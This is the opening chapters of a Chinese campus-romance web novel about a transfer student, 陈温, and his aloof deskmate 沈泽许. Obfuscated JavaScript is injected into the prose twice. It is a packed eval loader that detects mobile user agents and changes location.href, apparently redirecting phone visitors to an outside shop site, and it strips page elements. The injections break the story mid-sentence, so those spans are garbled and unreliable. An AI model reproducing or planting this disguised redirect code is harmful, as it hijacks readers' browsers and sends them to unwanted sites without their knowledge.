《温和四季》 1. 温和的温 惠中提前开学,人群摩肩接踵,挤得水泄不通。 唯独一个瘦削的身影灵活地穿行其间,像一尾游鱼,巧妙地避开所有碰撞。 “你怎么说转学就转学了啊?班上的人都舍不得你,都怪那群人……哎,以后没人给我抄作业了。” 电话那头,女生声音闷闷的——是黄曦,男生前学校的同桌,两人关系极好,同甘共苦,有福不分。 这一分开,不知何时才能再见。 男生低笑一声:“在你眼里,我就是个工具人?” “才不是呢。” “我快到了,还要交资料呢,先挂了。” “好吧……拜拜。” 陈温匆匆将手机塞进书包,低头加快脚步,就在他即将跨进校门的瞬间——猛地撞上一人。 冲击力让他踉跄着后退两步。 “嘶,对不起——” 道歉脱口而出的同时,一缕茉莉香忽然缠上来,清甜的感觉。 陈温道了歉,没多管。 揉着发痛的额头想绕开,往左挪一步,那人影便跟着左移;他转向右侧,对方却像早有预料般再次挡住去路。 “……不是,这么巧?”陈温在心里嘀咕。 他悄悄掀起眼皮——这人该不会是故意的吧?本来上学就烦,还遇见个“路障”。 可毕竟是自己先撞上去的,再多不满也只能咽回去。 他们站在墙面的阴影里,周围人潮汹涌,却没人注意到这个角落的异常。 陈温始终垂着头,生怕对方看清自己的脸秋后算账。 可视线却像挣脱了束缚,顺着对方被校裤包裹的笔直双腿往上爬。 第六感告诉他——这人是男的。 那人双手自然垂落,右手腕骨凸起处缀着一颗浅褐色小痣。 惠中的校门不算窄,足够几十个学生并排进出。陈温怎么也想不通,为什么眼前这人偏要和他较劲,纹丝不动。 三秒。 五秒。 陈温眼看快要来不及交资料了,便泄了气,肩膀一塌侧过身:“你先走吧。” 男生能清晰感觉到一道目光从头顶落下——从相撞的那一刻起,这道视线就如影随形,此刻愈发鲜明,扫过他的发梢、颈侧、肩线。 直到那股茉莉香彻底被人群吞没,陈温才敢抬头——只来得及捕捉到一抹消失在人群中的衣角。 办公室里,一个女人目光不移地盯着屏幕,在键盘上敲敲打打。 陈温在门口瞟了片刻,轻轻敲门:“报告。” 女人头也不抬:“嗯,进来。” 这位就是陈温新学校的班主任——楚婷。 陈温把转学资料放在她桌上——陈林峰照例没空,这种跑腿的活落在他身上。 惠中的效率倒是高,校卡和校服会提前寄到学生家里。 陈温想起父亲推给他的班主任微信,那个玫瑰花头像,俗气得像是从十年前的老年表情包里抠出来的。 大多数人看到,大概会联想到戴着老花镜、捧着保温杯的严厉教师。 可眼前的女人最多二十七八岁,短发利落地别在耳后。 楚婷边敲键盘,边问:“哦对了,你校卡拿到了吗?” “拿到了。” 陈温条件反射摸向裤兜,却只摸到粗糙的布料。 他心跳漏了半拍,急忙翻遍所有口袋。 外套两侧、校服裤左边,甚至把书包里层都扯了出来。 空的。 他分明记得今早把校卡塞进了右边口袋,现在那里只有一枚硬币。 记忆忽然闪回校门口那场碰撞,该不会就是在那个时候…… “怎么了?”楚婷的声音从头顶砸下来。 陈温猛地抬头,发现老师不知何时转过身,拇指转着一支红色钢笔,像无声的审判。 要是让班主任知道他开学第一天就把校卡弄丢了…… 陈温的耳尖烧了起来,他仿佛已经看见楚婷指责时的表情。 现在最该做的是冷静——可越是这么想,越能感觉到楚婷的目光落在他紧张到发抖的手指上。 那支红色钢笔还在楚婷指间转个不停,转得人头晕目眩。 “没事没事,哈哈。”他干笑两声,“老师没别的事,我先走了?” “嗯,早点回教室。我们九点半准时发新书。” “知道了。” 刚踏出办公室,陈温就像颗被弹弓射出的石子,“嗖”地窜过走廊。 “咚咚——” “请进。”女声传来的瞬间,房门已被推开。 少年撑着膝盖大口喘气,刘海湿漉漉地贴在额头上。 他一个急刹停在办公桌前。 “老师,我的校牌不见了!” 陈温的“人生尴尬时刻博物馆”喜提新藏品——开学首日弄丢校卡,足以在“社死名画展区”C位出道。 方才他不信邪般像只无头苍蝇似的沿着来时路来回搜寻,连垃圾桶后面都没放过。 可那校牌就跟像人间蒸发了一样,最后逼得他只能来敲德育处的门。 办公室里只有一名女老师,正在整理的文件。 闻言,她停下动作,金丝眼镜后的目光像探照灯般将陈温从头到脚扫视了一遍。 “开学第一天啊,”她眉头拧成个结,没好气道:“校牌都能弄丢,你咋不把自己也丢了呢?” “我不是故意的嘛。”陈温缩了缩脖子,嘴角扯出个微笑。 “喏,填表。”女老师从抽屉里抽出一张《校牌补办申请表》。 她说:“要是有人捡到你的校牌,我们会通知你的,虽然说这种概率跟中彩票差不多。在新校卡还没有做好之前,我们会给你一张临时校牌。” “像你这种知道要补办的人不多了,上周还有个学生拿食堂饭卡糊弄门卫呢。哦对了,做好之后还要提交10块钱。” “没问题!”陈温应得又快又响,活像被老师点名的小学生。 总比没有强! 他从书包里翻出笔袋,填写表格。 一切又归为圆寂,似乎刚刚的事只是件小插曲,很快就可以解决,直到办公室的门再次被敲响。 陈温正低头研究那张寒酸的临时校卡,听见敲门声,他抬起头,恰好看见门被推开的瞬间。 穿堂风裹着阳光呼啸而入,那人单手抱着资料站在光晕里,袖口随意卷到手肘,露出的小臂线条。 陈温的目光不由自主地落在那截手腕上那颗淡褐色的痣,像趴在白花花的雪地上的小黑猫,醒目得刺眼——是茉莉香的主人。 他怎么在这里?男生拧起眉头,见那人径直走向办公桌,脚步声轻得几乎听不见。 “老师您要的资料。” 女老师抬头看清来人的瞬间,眼角的皱纹舒展开来,声音甜了八个度:“哎呀,小沈辛苦了~” “……”陈温无语地僵在原地。 这变脸速度,川剧大师看了都要鼓掌。 “不用谢,没事的话,我先走了。” 那人说完转身,光影从他眉骨滑到鼻梁,陈温终于看清这张脸。 他的下颌线像是用刀刻出来的,薄唇轻抿。 最要命是那双眼睛,眼尾微微上挑的弧度本该妩媚,偏生被他冷冽的目光冻成了冰棱。 陈温喉结无意识地滚动了一下。 这哪是普通高中生?分明是青春疼痛文学里走出来的男主角! “哎等等。小沈辛苦了,喝点茶吗?” 值班老师提起陶瓷茶壶,不由分说,往塑料杯里倒了一杯茉莉花茶。 奇怪的是,这次陈温闻到茉莉香时,心底蹿起一丝烦躁——这味道让人想起被迫参加的那些宴会,衣香鬓影里藏着虚情假意。 “谢谢老师,不必了。”那人嘴角挂着恰到好处的弧度,既不会显得失礼,又明确划出界限。 “对了,”他的手探进口袋,那个东西在他口袋里焐了十分钟,边角的泥土早被擦拭干净,“这是我在校门口捡到的校卡。” 他的目光似蜻蜓点水般扫过陈温,似乎才发现这里还有个人。 陈温正盯着那截露出的手腕发呆,猝不及防撞上对方的视线。 紧接着,那人快步向前,随着距离拉近,茉莉清香愈加浓烈。 他的目光落在陈温校服衣领上绣的拼音缩写上。 “你是陈温?” 陈温下意识捂住绣字:“嗯……温和的‘温’。” 男生将校卡递到他眼前,照片上的陈温正傻乎乎地咧着嘴笑。 “沈泽许,沼泽的‘泽’,许愿的‘许’。”他自顾自地自我介绍,“这是你的?” 陈温看清那张人脸后,伸手就要去拿:“嗯!还我。” 对方却莫名抬高了手。 “你记得公园吗?” 陈温的手悬在半空,一脸疑惑。 这是什么搭讪方式?他们很熟吗? “没事。”沈泽许抿唇,神色好像暗淡了一下,又极快消失。他把校卡放了下来,陈温奇怪地看了沈泽许一眼,小心接过。 “谢谢。” 真是有惊无险,天知道他刚才脑补了多少被班主任知道后训话的惨状了。 现在校卡失而复得,连沈泽许那张冷脸看起来都亲切了几分。 沈泽许婉拒了那杯茉莉花茶后,老师没再说什么,她也只是客套一下。 她抱起那叠资料,回到原位。 刚放好,一抬头恰好捕捉到陈温接过校卡瞬间的表情,活像只找回橡果的小松鼠。 值班老师的唇角不自觉扬起:“哟找到了?还敢有下次吗?” “保证没有下次!”陈温说,“主要是今天早上……” “停停停——”老师竖起手掌做了个交警截停的手势,“你的《迟到理由大全》留着给班主任鉴赏。”她朝墙上的挂钟努努嘴,“快上课了,赶紧回去吧。” “好的,老师!”陈温一个立正,转身时没注意,险些撞进沈泽许怀里,对方眼疾手快扶住他的肩膀。 少年人掌心温热,力道刚好稳住他摇晃的身形。 “那个……谢谢……”陈温小声道,急忙站稳脚跟。沈泽许的手从他肩膀上离开,那温度很快消散在微凉的空气中。 “没事。” 樟树枝叶晒碎了阳光,远处传来扫地阿姨有节奏的“沙沙”声,扫帚划过地面的声音像一首催眠曲。 陈温出来后,才发现校园比想象中复杂——除了身后醒目的办公楼,其他教学楼长得活像复制粘贴的积木块,自己也忘记问楚婷高三2班在哪栋楼了。 他可不想因为找教室到处乱跑。 浪费时间。 “那个……”陈温清了清嗓子,“谢谢你啊。” 尽管沈泽许给他留下的第一印象糟糕透顶——故意挡路的恶劣行径,突然抬高的手,都让他恨不得立刻转身就走。 但此刻晨读铃声仿佛就响在耳畔,教导主任抓迟到的身影隐约可见。 他死死揪住书包带,说:“你知道……高三(2)班往哪走吗?” 沈泽许脚步微顿。 一片樟树叶的影子正巧落在他鼻梁上,将那张冷淡的脸分割成明暗两半。 “嗯,跟我来。”尾音还没落地,人已经迈开长腿。 陈温小跑跟上,他打量前方晃动的背影——沈泽许走路时肩背挺得笔直,后颈处一小撮头发不服帖地翘着。 两人明明隔着半臂距离,可那股茉莉香却固执地往鼻尖钻。 更加奇怪的是,陈温觉得自己听到了对方的心跳,像被关在玻璃罩子里的蝴蝶,振翅的动静闷闷的,却震得他耳膜发痒。 百年老校的每一块砖石都浸透了书香,连同空气都飘散着旧纸张特有的气息。 陈温一下子就被新学校的环境给吸引住了。 忍不住感叹:这里就是妈妈教过书的地方啊。 他左看看,右看看。 经过公告栏时,不自觉地停了下来。 橱窗里整齐排列着“学习标兵”的照片,但是没有一张是好看的,僵硬的笑容、诡异的拍摄角度,让陈温嘴角抽动起来。 这摄影师怕不是跟全体优等生有仇,把每个人都拍得像被连夜审问过的嫌疑犯,让人两眼一黑的程度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171934|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正当他要移开视线时,余光捕捉到一张与众不同的照片。 沈泽许的证件照在一众扭曲的表情中显得格格不入,冷淡的眉眼像是被精心勾勒过的。 即使是最死板的拍摄角度,也掩不住他轮廓分明的下颌线。 最上方醒目地印着——“2017年优秀学生”,几个大字下方的小字写着:“全国数学竞赛一等奖高二(2)班沈泽许”。 陈温盯着荣誉墙上“高二(2)班”的烫金字样,耳膜像是被灌满蜂鸣。 他掰起手指头数年份:2018减去1等于2017,去年沈泽许还在高二,那么现在就是高三…… “这不可能吧……”男生无意识呢喃出声。 他居然跟沈泽许是同班同学!!? 陈温当场愣在原地,目光一直停留在沈泽许的照片上。 橱窗里的沈泽许虽然俊朗,却像被封印在相纸里的标本;而此刻走在前方的少年,发顶沾着阳光,连后颈微微凸起的脊椎骨都透着鲜活力。 陈温诚实夸赞:“真人比照片好看多了……” 沈泽许听见声响,一转身就见一脸“痴迷”的陈温,他咳了一下说:“别看了。” 陈温被这突如其来的咳嗽声惊得一哆嗦,慌忙转身时,差点被自己的鞋带绊倒。 “谁看了?我、我没看!”他灰溜溜地追上去时,脖子莫名其妙红了一片。 教室后排,几个男生脑袋凑在一起,其中一个人说:“我草,听说咱班要来新人了,还是个转校生!” “怎么张口就‘鸟语花香’的?上周才因为说脏话扣分。”旁边的眼镜男推了推镜架,又忍不住好奇问:“哪来的?男的女的?” “男的。”爆料者得意地扬起下巴,又报了个学校的名字。 “哈?”一个正喝水的男生差点喷出来,“这学校我知道,他这是从一线城市转来我们这十八线小县城?体验人间疾苦来的?那人脑子怕不是瓦特了?” “谁知道呢?”另一个人摇摇头,戏谑道:“又来了个体验生活的少爷。” “赌一个冰淇淋,我能第一个跟他交朋友。”林宇舟不知道从哪里插了进来,胳膊亲热地搭在同学肩上。 作为2班公认的交际草,他天生自带阳光滤镜,笑起来小虎牙闪着光,连严厉的老师都忍不住对他和颜悦色。 “得了吧。上次你也这么说,结果人家是你发小。”有人翻了个白眼,众人顿时笑作一团。 笑声未落,教室前门乍然被推开。 沈泽许的身影出现在门口,身后还跟着个陌生男生。 原本嘈杂的教室瞬间鸦雀无声,四十多双眼睛齐刷刷转向两人。 陈温僵在门口,感觉自己像是被扔进探照灯下的实验室小白鼠。 他强作镇定地扯出个微笑,虎牙露了出来,又急忙找了处空位坐下。 而沈泽许径直走向靠窗的座位,沿途同学热情的招呼都被他点头挡了回去。 经过林宇舟时,对方夸张地挥手,也只换来沈泽许的一个眼神。 这位体育委员的热情向来无人能挡,偏偏在冰山学神这儿碰壁。 陈温低头整理书包,感觉有无数目光黏在背上。 可当他抬头,所有人都在各忙各的。 那些窃窃私语像隔了层毛玻璃,变得模糊不清。 陈温只想做个透明人,平静地过完这一年,不想再发生别的什么事了。 “同学们上课了,人固有志,学志为先。” 上课铃飘进教室,楚婷抱着教材走进来,粉色的书包带在她肩头一跳一跳。 她今天穿了件印着“Saturday”的粉色T恤,衬得皮肤愈发白皙。 楚婷把教材放在讲台上,齐刘海晃了晃,露出眉心。 “除了上学前培优班的,都到齐了吗?” 她环顾教室,声音甜得像掺了蜜,眼神却犀利得能穿透最后一排偷吃零食的同学。 教室瞬间安静,响起一片拉椅子的声音。 五十多个学生都挺直了腰板,连平时最皮的几个人都下意识擦了擦嘴角——上次有人在她课上偷吃辣条,结果罚他给全班同学都买了一包。 “新学期新气象,”楚婷笑眯眯地翻开点名册,“现在需要几位男同志去图书馆搬教材……” “老师!”角落炸响一个吊儿郎当的声音:“您这是性别歧视啊!咱们班有的女生掰手腕可是赢过体育老师的!咋不让她们去?” 几处的哄笑声快要掀翻屋顶。 楚婷缓缓抬头,齐刘海下的眼睛眯成两道月牙。 熟悉她的人都知道,这是暴风雨前的宁静。 “哟呵,你倒是挺会挑事儿啊!你这么清闲是不是?那行,就你了,请你和你的好兄弟们,把全班的教材都搬回来吧,搬不完就别回来了!” 刚才还嬉皮笑脸的人霎时垮下脸,在周围幸灾乐祸的起哄声中,男生带着几个同学磨磨蹭蹭地挪出教室,运动鞋与地板擦出“吱吱吱”的回音。 楚婷看着那他们远去的背影,无奈地摇了摇头。她目光落在教室角落——新来的转学生正支着下巴望向窗外。 她说:“这学期我们班迎来了一位新同学——陈温,来做个自我介绍吧。” 被点到名的少年明显一颤,像是从梦中惊醒。 陈温紧张地站起身,五十多双眼睛投来的视线让他喉结不自觉地滚动了一下。 果然逃不掉这社死的环节。 “大家好……”他介绍自己,“我叫陈温,温和的‘温’。” 说到名字时,陈温用手指在空气中划了几笔,像是要把这个字写给所有人看。 不知是谁先笑了一声,紧接着响起一片掌声。 “欢迎欢迎。” 还有个女生小声说了句“好可爱”,引得周围的同学会心一笑。 “谢谢,请大家多多指教。” 陈温的耳尖红得能滴血,匆匆鞠了一躬就飞快坐下。 楚婷看着他鸵鸟似的把脑袋埋下去的模样,忍不住弯了眉眼。 这个转学生,倒是给班级带来了点不一样的气息。 2. 你们也别玩了 在惠中这所百年名校里,分班制度就像一道隐形的分水岭。 1班和2班高居金字塔顶端,他们的教室永远占据着采光最好的三楼东侧。 荣誉墙上,他们的照片永远占据着最醒目的位置。 陈温坐下没多久,就听见楚婷在投影仪开关上一按,一张表格倏地投映在幕布上。 “这个学期课代表不变,”楚婷说:“这是我为各位‘量身定制’的座位表,大家看一下。” 教室瞬间炸开。 后排的眼镜男哀嚎着捶桌:“我又要坐讲台旁边?” 而靠窗的两个女生则兴奋地击掌,如愿以偿成了同桌。 陈温的视线在表格上游移,最终定格在第三排正中央的位置。 当看到“陈温-沈泽许”这行并列的名字时,手里的笔“啪嗒”一声掉在桌上。 他转过头,恰好撞进一双清冷的眼眸。 沈泽许不知何时抬起头,两人的目光在空中短暂相接,下一秒对方就移开了视线。 为什么是跟他! 沈泽许这是什么意思?无视自己? “安静!安静!”楚婷的教案在讲台上重重一磕,“等搬书的回来就换座位。” 她又像想起什么似的,补充道:“沈泽许,新同学就交给你带了啊。” 被点到名的男生垂下眼睫,喉结滚动了下:“嗯。” 陈温正要开口反对,屋内突然“嘭”的一声,炸开巨响。 整摞教材像山体滑坡般轰然倒地,课本砸在地上,震得窗玻璃嗡嗡作响。 “报、报告!”几个搬书的男生扶着门框大口喘气,活像条缺氧的鱼。 楚婷看着满地狼藉的教材,眉头皱得能夹死蚊子:“你们当这是在工地搬砖吗?这么粗鲁,把书弄坏了怎么办?” 她蹲下身,抚过一本被摔卷边的语文书,心疼得额角鼓出青筋。 抬头见几人被晒通红的脸,继续训斥的话又咽了回去。 “行了,行了。”她摆摆手,“你们回去吧。” 楚婷将每一本书都放好,动作轻柔得像在给受伤的小鸟包扎翅膀。 交代完这个学期的大致安排,以及明天的开学考试后,下课铃便响起,教室瞬间沸腾起来。 同学们开始搬座位,桌椅腿在地上刮出刺耳的声音,一群躁动的小兽在挪窝。 见楚婷脸色不太妙,好像还在生刚刚的气。陈温想换位置的话卡在嘴边,他犹豫了一会,最终妥协了。 他又不是怕沈泽许,那人总不能把他吃了吧。 同桌就同桌,又不会怎么样,谁怕谁。 这样想着,他抱起书包站在过道,目光落在新同桌身上。 “好巧啊。”陈温没什么情绪地说。 “嗯。”沈泽许没抬头,从喉间挤出一个单音节的回应。 “嗨!新同学!” 陈温吓了一跳,前排男生转身的动作带起一阵风。 “我叫林宇舟,咱们班的体育委员。”他自来熟地伸出手,“叫我舟哥就行,体委也行。” 掌心相触,陈温感受到对方指腹有一层薄茧,大概是常年握球留下的痕迹。 “舟哥好。” “哎。”他又说:“听说你去德育办公室了?见到AK主任了吗?” 陈温眨眼:“AK主任?” 林宇舟凑近了些,胳膊熟稔地搭上陈温的肩膀,男性荷尔蒙的味道,还有薄荷糖的气息喷洒在他耳畔。 “你不认识?下次我指给你看,AK主任可是咱们学校的‘风云人物’,你肯定会喜欢他的。” “对了。”舟哥声音压得极低,“看见没?你旁边这位——”他朝沈泽许的方向努了努嘴,“也是学校的‘风云人物’,全校暗恋对象排行榜top1。” 林宇舟说完,陈温情不自禁地看向沈泽许抿紧的唇线上。 沈泽许正整理课本,他将书角对齐的动作近乎苛刻,周遭的窃窃私语声像都与他无关。 长这么一张脸,谁会去搞暗恋啊!陈温在心中咆哮。 “还是男女通杀哦。”林宇舟挤眉弄眼地补充道。 “男的?”陈温睁大了眼睛,似乎听到什么大不了的事。 “你没听错,男的。虽然说目前就一个,15班的,听说被拒绝得特别干脆……” 陈温仓促收回视线,余光扫过林宇舟的桌面——两本几乎一模一样的物理课本并排摆放着。 要说这两本之间有什么区别,就是左边的那本看起来更新一些。 陈温忍不住好奇心问:“你怎么有两本物理书?” 林宇舟回头看了一眼,回答:“哦,这个啊。我们上个学期学的快,老师让我们借书学了下册的内容。” 陈温懵了,心里涌起一股不安:“你们……提前学了?” 对方点点头,掰着手指数。 “不过学的不多,数学两个单元,语文几首文言文,物理两三单元……”他轻描淡写,好似这些内容对他来说,只不过是小菜一碟。 陈温问:“明天考试不是考上个学期的内容吗?” “是啊,不过60%是考提前学的部分。” 陈温悬着的心终于死了。 他感觉自己像是被扔进了一个陌生的战场,手里连一把像样的武器都没有。 他原本学校的进度没有那么快,明天的考试对他来说,简直是一场史诗级的灾难,不亚于世界毁灭。 林宇舟瞧见陈温一秒僵住的表情,“噗嗤”一声笑出了来。 “喂喂,你这表情也太精彩了吧!”他伸手在陈温眼前晃,“安啦安啦,听说考得不难的。” 说完,林宇舟支起下巴,像是发现了什么有趣的事情。 “陈温——”男生喊了一声,“这名字怎么听着像小姑娘似的?你爸妈当初怎么想的啊?” 周围的喧闹声骤然褪去。 陈温只估摸到耳膜嗡嗡作响,仿佛有人把一桶冰水顺着他的脊梁骨浇了下去。 指甲深深掐进掌心的软肉,却感觉不到疼。 那些被他用层层锁链捆住的记忆,此刻疯狂撞击着胸腔,每一下都带着铁锈味的钝痛。 沈泽许瞟了两人一眼,恰好落在陈温血色尽失的脸上。 林宇舟见陈温的脸色不对劲,心中不禁一紧,连忙收起了玩笑的态度。 “陈温?你没事儿吧?我只是觉得你的名字挺特别的,随口问问,绝对没有任何恶意啊!” “没事……”陈温摇了摇头,声音放得很轻,像是从喉咙里挤出来的,“我就是头有点晕……” 他恍惚间扫视到沈泽许站起身,阳光在那双眼睛里折射出奇异的光彩。 “他的脸色不太对。”沈泽许朝林宇舟微微颔首:“我带他去医务室看看。” “我也去——” “不用了。” “真的不用我……”林宇舟的话还没说完,沈泽许已经带着人走了出去。 陈温像个提线木偶,被领着走,好像还听见身后林宇舟懊恼的声音。 走廊的风刮在脸上,陈温这才惊觉自己出了一身冷汗。 阳光将两人的影子糅合在一起,在地面上拖曳出缠绵的轮廓。 陈温的脚步虚浮,整个人像是被抽走了力气,不得不倚靠在沈泽许的肩膀上。而沈泽许则是稳稳地托着他的后背,肌肤隔着布料传来令人安心的力道。 走廊上的同学见“学校暗恋对象榜一”扶着一名陌生的男生,打闹的动作都停住了。 “诶诶诶,那不是年级第一沈泽许嘛。” “是啊,他旁边的那个是谁啊?长得也挺帅的,之前怎么都没见过。” “他应该就是二班那个新来的转校生吧。” 陈温迷迷糊糊睁开一条缝,他能感觉到沈泽许的手臂收紧了些,将自己往他那边带。 这个动作又让他鼻尖嗅到了那缕若有似无的味道。 几个呼吸间,两道身影站在了医务室门口。 绿色门漆上“保健室”三个字的金漆剥落了大半,还未推门,一股浓烈的消毒水味迎面扑来。 透过门上的磨砂玻璃,还能看到医务室主任的身影正伏案写着什么。 门轴发出年久失修的呻吟声,主任抬起头,问:“他怎么了这是……” 说着,一把推开转椅,边戴眼镜边走了过来。 经过一番询问和检查后,主任瞥了眼腕表。 “是低血糖,现在的孩子都不吃早饭的吗?”她取出一杯早已备好的葡萄糖水,“问题不大,先把这杯糖水喝了。” 糖水入喉,陈温的眉头皱了皱。 意料中的甜腻没有出现,反倒泛起一股若有似无的苦味,像融化了半片阿司匹林。 “休息半小时就差不多了。”主任低头看了眼手机,眉头皱起,抓起一旁的白大褂。 “我有些事,待会回来。你们乖乖待着,别碰任何医疗用品。” 临走前还不忘指墙角的监控摄像头。 主任一走,便只剩两人。 沈泽许缓缓蹲下身,从这个仰视的角度,他能清晰地看见陈温垂落的睫毛,以及唇上几道干裂的纹路。 “感觉好点了吗?” 经过这一番折腾,陈温的恨意早已消磨殆尽,只剩满身疲惫和舌尖挥之不去的苦涩。 他幅度小地点头,随即又摇头。 沈泽许伸手去够桌上的温水,塑料杯握在手心,手指似乎因为没拿稳而微微发抖。 “喝点水吗?” 陈温缓了一会,视线终于聚焦,却只是将头垂得更低。 一缕黑发滑落额前,随着他的呼吸轻颤。 云朵被吹走,一束阳光射了进来,正好照在陈温的手腕上。 那里有一道极浅的疤痕,像是被什么东西烫到过。 沈泽许的视线在那处停留了一秒,原本想拭去对方额角薄汗的手,在看到那道疤痕的刹那收了回去。 接着是永无止境的沉默。 一盏茶后,陈温的脸色缓和了不少多,很快回到教室。 他一整天上课都是一副心不在焉的样子,像最喜欢的动画片开播,但提不起半点兴趣的小孩。 最后一节是英语课。 上课铃还没有响起,一股浓烈得几乎让人窒息的香水味像一阵龙卷风从教室外席卷来。 那味道像是无形的攻击,没一会就占据了整个教室的空气。 “同学们好久不见啊,想死你们啦!” 后门被猛地推开,一个穿着绿色套装的身影旋风般冲了进来。 不少同学一瞧见她,立马捂住了自己的鼻子,仿佛那香水味是致命的毒气一般。 更有甚者,实在忍受不了这味道,直接逃离了现场。 然而女人完全无视了这些反应。 她踩着五厘米的高跟,如履平地般穿过过道,目标明确地朝沈泽许走去。 沈泽许眉头微皱,头也没抬,写着手里的试卷。 “看看我们沈同学!”女人俯身,浓郁的香水味笼罩起他来,“哎呀,这么难的题都能做对。” 她又转头注意到了陈温,夸张地捂住胸口,说:“这位就是新同学吧?长的真帅啊。” 陈温被这突如其来的热情震得往后缩了缩,女人身上的香水味让他太阳穴突突直跳。 但出于礼貌,他还是挤出微笑:“老师好。” “跟着我学英语,保证你次次考满分!”女人信誓旦旦地拍着胸脯,“我教过的学生啊——” “老师,”沈泽许声音冷得像块冰,“您踩到我的橡皮了。” 女人低头一看,自己五厘米的高跟正稳稳地扎在一块可怜的橡皮上。她笑了笑,脸上没有一丝尴尬,挪开了脚,橡皮留下了高跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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被叫起来,他身体还在摇晃着,显然并没有完全从瞌睡状态中清醒过来。 “选A。” “额呵,你大点声,我听不见。” 可能是声音太小的缘故,老师并没有听清。 闻言,班长醒了不少,提高了音量:“选A!” “能不能大声点?”熊丽皱紧眉头,她目光扫过整个教室,最终定格在了陈温身上。 “陈文同学,你来帮班长回答。” 又来! 陈温生无可恋地站起身:“选A。” “非常好!”熊丽眉开眼笑,“大家就要像陈文这样大声回答!你们两个坐下吧。” 陈温:“……” 叶萧云坐下时翻了惊天大白眼,对同桌嘀咕:“奶奶的耳朵是被香水腌入味了吧?” 难熬的45分钟过去,教室里活了过来。桌椅碰撞声、书包拉链声、嬉笑打闹声交织成一片。 陈温慢半拍地合上英语课本,余光瞥见沈泽许的座位已经空了,但书包什么的还在。 同学们走得七七八八,角落里爆发出几声欢呼。几个男生围成一圈光明正大地玩手机,像一群围着篝火的原始部落。 陈温看了一眼,收回视线,整理复习资料时,一片阴影笼罩下来。 林宇舟不知何时窜到了他身边,举着他自己的手机。 “嘿!帅哥,加个微信啊?” 他笑得露出一颗虎牙,一手搭在陈温身上。 “啊?”陈温先是一愣,没有反应过来,“你怎么知道我带手机了?” 林宇舟轻笑:“猜的。” 犹豫片刻,陈温将手伸进书包里摸索起来。 学校不让带手机,主要是担心学生会利用手机散布谣言,扰乱校园秩序;更害怕学生沉迷于网络世界,从而影响正常学习和生活。 一旦被发现手机,就会被无情地收走。 陈温带手机只是为了方便联系家人,他不会在上课期间把手机掏出来玩,最多也就是拿出来查看消息,回复一下罢了。 上午丢手机丢得太急,一番翻找后,终于摸出手机。 这部手机已经用了很久,操作时有些卡顿。 陈温点开微信,扫码通过林宇舟的申请。 “你已添加了Z,现在可以开始聊天了。” 林宇舟的微信名是个大写的Z,头像是他本人,照片中的他正对着镜头后面的人绽放笑容。 相比之下,陈温的头像则显得简约清新,他的头像是用线条勾勒出的小太阳。 陈温说:“加你了。” “我看到了。”林宇舟松开搭着的手,在屏幕上操作着什么。 走廊突然晃过一道修长的影子,那几个打游戏的男生浑身一僵。 他们像受惊的麻雀般手忙脚乱,有人把手机塞进裤腰,有人直接扔进了垃圾桶,动作娴熟得令人心疼。 门被推开——沈泽许站在逆光处。 “啊!吓死我了——”垃圾桶旁的男生长舒一口气,从校服袖口掏出手机,“还以为是AK主任那个活阎王……” “再看到你们在教室玩手机,我就替他没收了。”沈泽许没什么情绪的说。 那几人老实了。 他的目光转向陈温这边时,林宇舟正举着手机做投降状。 不知道为什么,沈泽许走近的脚步很轻,鞋子踩在地板上几乎没有声响,却在陈温心里激起一圈圈涟漪。 “你们也别玩了。” 林宇舟夸张地抱拳:“多谢沈同学不杀之恩!” 陈温忽然闻到很淡的香气,像是女生会喜欢用的水果味的香水。 这气息与熊丽喷的截然不同,陈温不由自主地深吸了一口。 这味道是从沈泽许的袖口钻出来的…… 3. 不告诉你 “我回来了。” 陈温的声音在玄关处弹了一下,又孤零零地落回地上。 他弯腰换鞋,发现鞋柜里还摆着小时候穿的那双蓝色小拖鞋,手一摸,一层薄灰。 书包砸在沙发上,那里已经被打扫过。 从广州带回来的行李箱靠在墙边,轮子上还沾着高铁站的雨水。 洗手间里,水龙头发出年迈的呻吟,陈温搓揉手心,又甩去水珠。 他盯着镜中的自己——碎发贴在额前,左眼下有颗泪痣。 老一辈是他这痣长得不好,是爱哭的寓意。 但陈温不觉得他爱哭,哭只是发泄情绪的一种办法,它不能代表什么。 这里是陈温儿时的家。 他七岁那年,父亲娶了慕雪阿姨,全家后来搬去了外地,说好放长假一家人回来看看,但一次都没有过。 如今,陈温一个人回来住。 他开心极了,一个人住多自在啊,没有陈林峰的唠叨,也没有“弟弟”的打扰。 元阿姨是陈林峰的一个“朋友”,她每周会来打扫卫生,现在几乎每天都会过来给他煮饭。 陈温走出洗手间,客厅熟悉的陈设跟记忆里的重合。 一个人又好像不自在,没有人能打扰他,也没有一个人能陪他。 惠中对于是否参加晚自习并没有强制要求,只要报名就可以去,而住宿生是必须要上的。 当得知班上大多数同学都会去上晚自习时,他心中不免犹豫起来。 但他很清楚,陈林峰是不会答应他的。 他爸可是“大忙人”,哪有空管这些。 花洒喷涌而出的水柱中,陈温仰起头,任由无数银线般的水流冲刷过肩颈线条,流遍全身。 他带着一身未干的水汽踏出浴室,沐浴后的桂花香被毛巾粗暴的揉搓搅散,那些未擦干的水迹很快洇湿了衣服。 陈温向来对厨艺一窍不通,虽说并非完全零基础,但也仅限于像番茄炒蛋这种简易的菜而已。 而他今天整个人累到不行,丝毫提不起下厨煮饭的念头,元姨今天又有事没空过来。 陈温一只手环住抱枕,一只手捧着手机,滑拉着外卖页面,那些色彩艳丽的食物图片却怎么都进不了他的视线。 正想着下楼买包泡面,门铃便响了起来。 “叮咚——” 陈温停止了翻动的动作,往门口看一眼。 这门铃已经很久没被访客按响了。 会是谁? 他踮起脚尖,慢慢挪到门口。 